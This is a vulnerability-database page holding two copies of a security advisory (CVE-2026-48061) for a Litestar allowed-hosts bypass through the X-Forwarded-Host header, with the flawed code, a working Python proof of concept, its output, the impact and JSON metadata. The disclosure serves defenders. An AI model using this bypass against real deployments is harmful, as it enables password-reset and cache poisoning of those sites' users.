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    GHSA-3QMC-CJ7Q-62HV

    Vulnerability from github – Published: 2026-06-10 19:12 – Updated: 2026-06-10 19:12
    VLAI
    Summary
    Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header
    Details

    Summary

    AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

    Details

    In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

    https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

    headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    if self.allowed_hosts_regex.fullmatch(host):
        await self.app(scope, receive, send)
        return

    When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

    An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

    This is particularly dangerous when applications use the resolved host value for: - Generating password reset links (Host header injection → link points to attacker domain) - Cache key generation (cache poisoning) - Routing or backend selection decisions

    PoC

    """
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected:
  litestar/middleware/allowed_hosts.py:68
  -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
"""

import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient


@get("/")
async def index() -> dict:
    return {"status": "ok"}


app = Litestar(
    route_handlers=[index],
    allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)


# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:
    resp = c.get("/", headers={"host": "evil.com"})
    assert resp.status_code == 400
    print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")


# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/",
        "root_path": "",
        "scheme": "http",
        "query_string": b"",
        "headers": [
            # No "host" header — only x-forwarded-host
            (b"x-forwarded-host", b"trusted.example.com"),
        ],
        "server": ("testserver", 80),
        "app": app,
        "litestar_app": app,
        "state": {},
    }

    captured = {}

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]

    await app(scope, receive, send)
    return captured["status"]

status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

    Output:

    [*] Host: evil.com -> 400 (blocked)
[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
[!] AllowedHosts check passed using client-controlled X-Forwarded-Host

    Impact

    This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

    An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:

    • Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
    • Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
    • Routing manipulation: backend routing decisions based on host value can be influenced
    Severity
    5.9 (Medium)
    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
    Show details on source website
    To clipboard 

    {
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-10T19:12:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.\n\n### Details\n\nIn `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows:\n\nhttps://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68\n\n```python\nheaders = MutableScopeHeaders(scope=scope)\nif host := headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]:\n    if self.allowed_hosts_regex.fullmatch(host):\n        await self.app(scope, receive, send)\n        return\n```\n\nWhen `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy.\n\nAn attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.\n\nThis is particularly dangerous when applications use the resolved host value for:\n- Generating password reset links (`Host` header injection \u2192 link points to attacker domain)\n- Cache key generation (cache poisoning)\n- Routing or backend selection decisions\n\n### PoC\n\n```python\n\"\"\"\nPoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0\n\nAffected:\n  litestar/middleware/allowed_hosts.py:68\n  -\u003e headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]\n\"\"\"\n\nimport asyncio\nfrom litestar import Litestar, get\nfrom litestar.config.allowed_hosts import AllowedHostsConfig\nfrom litestar.testing import TestClient\n\n\n@get(\"/\")\nasync def index() -\u003e dict:\n    return {\"status\": \"ok\"}\n\n\napp = Litestar(\n    route_handlers=[index],\n    allowed_hosts=AllowedHostsConfig(allowed_hosts=[\"trusted.example.com\"]),\n)\n\n\n# --- 1. Baseline: invalid host is blocked ---\n\nwith TestClient(app=app) as c:\n    resp = c.get(\"/\", headers={\"host\": \"evil.com\"})\n    assert resp.status_code == 400\n    print(f\"[*] Host: evil.com -\u003e {resp.status_code} (blocked)\")\n\n\n# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---\n\nasync def test_bypass():\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": \"/\",\n        \"root_path\": \"\",\n        \"scheme\": \"http\",\n        \"query_string\": b\"\",\n        \"headers\": [\n            # No \"host\" header \u2014 only x-forwarded-host\n            (b\"x-forwarded-host\", b\"trusted.example.com\"),\n        ],\n        \"server\": (\"testserver\", 80),\n        \"app\": app,\n        \"litestar_app\": app,\n        \"state\": {},\n    }\n\n    captured = {}\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        if message[\"type\"] == \"http.response.start\":\n            captured[\"status\"] = message[\"status\"]\n\n    await app(scope, receive, send)\n    return captured[\"status\"]\n\nstatus = asyncio.run(test_bypass())\nprint(f\"[*] No Host + X-Forwarded-Host: trusted.example.com -\u003e {status} (bypassed)\")\nassert status == 200, f\"Expected 200, got {status}\"\nprint(f\"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\")\n```\n\n**Output:**\n```\n[*] Host: evil.com -\u003e 400 (blocked)\n[*] No Host + X-Forwarded-Host: trusted.example.com -\u003e 200 (bypassed)\n[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\n```\n\n### Impact\n\nThis is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections.\n\nAn attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:\n\n- **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain\n- **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content\n- **Routing manipulation**: backend routing decisions based on host value can be influenced",
  "id": "GHSA-3qmc-cj7q-62hv",
  "modified": "2026-06-10T19:12:10Z",
  "published": "2026-06-10T19:12:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-3qmc-cj7q-62hv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/commit/6930a20ceb543912cd651b42deae5b9f3637a262"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/litestar-org/litestar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header"
}

    PYSEC-2026-2603

    Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:04
    VLAI
    Details

    Summary

    AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

    Details

    In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

    https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

    headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    if self.allowed_hosts_regex.fullmatch(host):
        await self.app(scope, receive, send)
        return

    When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

    An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

    This is particularly dangerous when applications use the resolved host value for: - Generating password reset links (Host header injection → link points to attacker domain) - Cache key generation (cache poisoning) - Routing or backend selection decisions

    PoC

    """
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected:
  litestar/middleware/allowed_hosts.py:68
  -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
"""

import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient


@get("/")
async def index() -> dict:
    return {"status": "ok"}


app = Litestar(
    route_handlers=[index],
    allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)


# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:
    resp = c.get("/", headers={"host": "evil.com"})
    assert resp.status_code == 400
    print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")


# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/",
        "root_path": "",
        "scheme": "http",
        "query_string": b"",
        "headers": [
            # No "host" header — only x-forwarded-host
            (b"x-forwarded-host", b"trusted.example.com"),
        ],
        "server": ("testserver", 80),
        "app": app,
        "litestar_app": app,
        "state": {},
    }

    captured = {}

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]

    await app(scope, receive, send)
    return captured["status"]

status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

    Output:

    [*] Host: evil.com -> 400 (blocked)
[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
[!] AllowedHosts check passed using client-controlled X-Forwarded-Host

    Impact

    This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

    An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:

    • Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
    • Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
    • Routing manipulation: backend routing decisions based on host value can be influenced
    Severity
    5.9 (Medium)
    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
    Impacted products
    Name purl
    litestar pkg:pypi/litestar
    Aliases
    To clipboard 

    {
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar",
        "purl": "pkg:pypi/litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0a0",
        "2.0.0",
        "2.0.0a3",
        "2.0.0a4",
        "2.0.0a5",
        "2.0.0a6",
        "2.0.0a7",
        "2.0.0b1",
        "2.0.0b2",
        "2.0.0b3",
        "2.0.0b4",
        "2.0.0rc1",
        "2.0.1",
        "2.1.0",
        "2.1.1",
        "2.10.0",
        "2.11.0",
        "2.12.0",
        "2.12.1",
        "2.13.0",
        "2.14.0",
        "2.15.0",
        "2.15.1",
        "2.15.2",
        "2.16.0",
        "2.17.0",
        "2.18.0",
        "2.19.0",
        "2.2.0",
        "2.2.1",
        "2.20.0",
        "2.21.0",
        "2.21.1",
        "2.3.0",
        "2.3.1",
        "2.3.2",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.4.3",
        "2.4.4",
        "2.4.5",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.5.3",
        "2.5.4",
        "2.5.5",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.6.3",
        "2.6.4",
        "2.7.0",
        "2.7.1",
        "2.7.2",
        "2.8.0",
        "2.8.1",
        "2.8.2",
        "2.8.3",
        "2.9.0",
        "2.9.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48061",
    "GHSA-3qmc-cj7q-62hv"
  ],
  "details": "### Summary\n\n`AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.\n\n### Details\n\nIn `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows:\n\nhttps://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68\n\n```python\nheaders = MutableScopeHeaders(scope=scope)\nif host := headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]:\n    if self.allowed_hosts_regex.fullmatch(host):\n        await self.app(scope, receive, send)\n        return\n```\n\nWhen `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy.\n\nAn attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.\n\nThis is particularly dangerous when applications use the resolved host value for:\n- Generating password reset links (`Host` header injection \u2192 link points to attacker domain)\n- Cache key generation (cache poisoning)\n- Routing or backend selection decisions\n\n### PoC\n\n```python\n\"\"\"\nPoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0\n\nAffected:\n  litestar/middleware/allowed_hosts.py:68\n  -\u003e headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]\n\"\"\"\n\nimport asyncio\nfrom litestar import Litestar, get\nfrom litestar.config.allowed_hosts import AllowedHostsConfig\nfrom litestar.testing import TestClient\n\n\n@get(\"/\")\nasync def index() -\u003e dict:\n    return {\"status\": \"ok\"}\n\n\napp = Litestar(\n    route_handlers=[index],\n    allowed_hosts=AllowedHostsConfig(allowed_hosts=[\"trusted.example.com\"]),\n)\n\n\n# --- 1. Baseline: invalid host is blocked ---\n\nwith TestClient(app=app) as c:\n    resp = c.get(\"/\", headers={\"host\": \"evil.com\"})\n    assert resp.status_code == 400\n    print(f\"[*] Host: evil.com -\u003e {resp.status_code} (blocked)\")\n\n\n# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---\n\nasync def test_bypass():\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": \"/\",\n        \"root_path\": \"\",\n        \"scheme\": \"http\",\n        \"query_string\": b\"\",\n        \"headers\": [\n            # No \"host\" header \u2014 only x-forwarded-host\n            (b\"x-forwarded-host\", b\"trusted.example.com\"),\n        ],\n        \"server\": (\"testserver\", 80),\n        \"app\": app,\n        \"litestar_app\": app,\n        \"state\": {},\n    }\n\n    captured = {}\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        if message[\"type\"] == \"http.response.start\":\n            captured[\"status\"] = message[\"status\"]\n\n    await app(scope, receive, send)\n    return captured[\"status\"]\n\nstatus = asyncio.run(test_bypass())\nprint(f\"[*] No Host + X-Forwarded-Host: trusted.example.com -\u003e {status} (bypassed)\")\nassert status == 200, f\"Expected 200, got {status}\"\nprint(f\"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\")\n```\n\n**Output:**\n```\n[*] Host: evil.com -\u003e 400 (blocked)\n[*] No Host + X-Forwarded-Host: trusted.example.com -\u003e 200 (bypassed)\n[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\n```\n\n### Impact\n\nThis is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections.\n\nAn attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:\n\n- **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain\n- **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content\n- **Routing manipulation**: backend routing decisions based on host value can be influenced",
  "id": "PYSEC-2026-2603",
  "modified": "2026-07-13T16:04:38.921956Z",
  "published": "2026-07-13T15:46:15.872114Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-3qmc-cj7q-62hv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/commit/6930a20ceb543912cd651b42deae5b9f3637a262"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/litestar-org/litestar"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/litestar"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-3qmc-cj7q-62hv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48061"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header"
}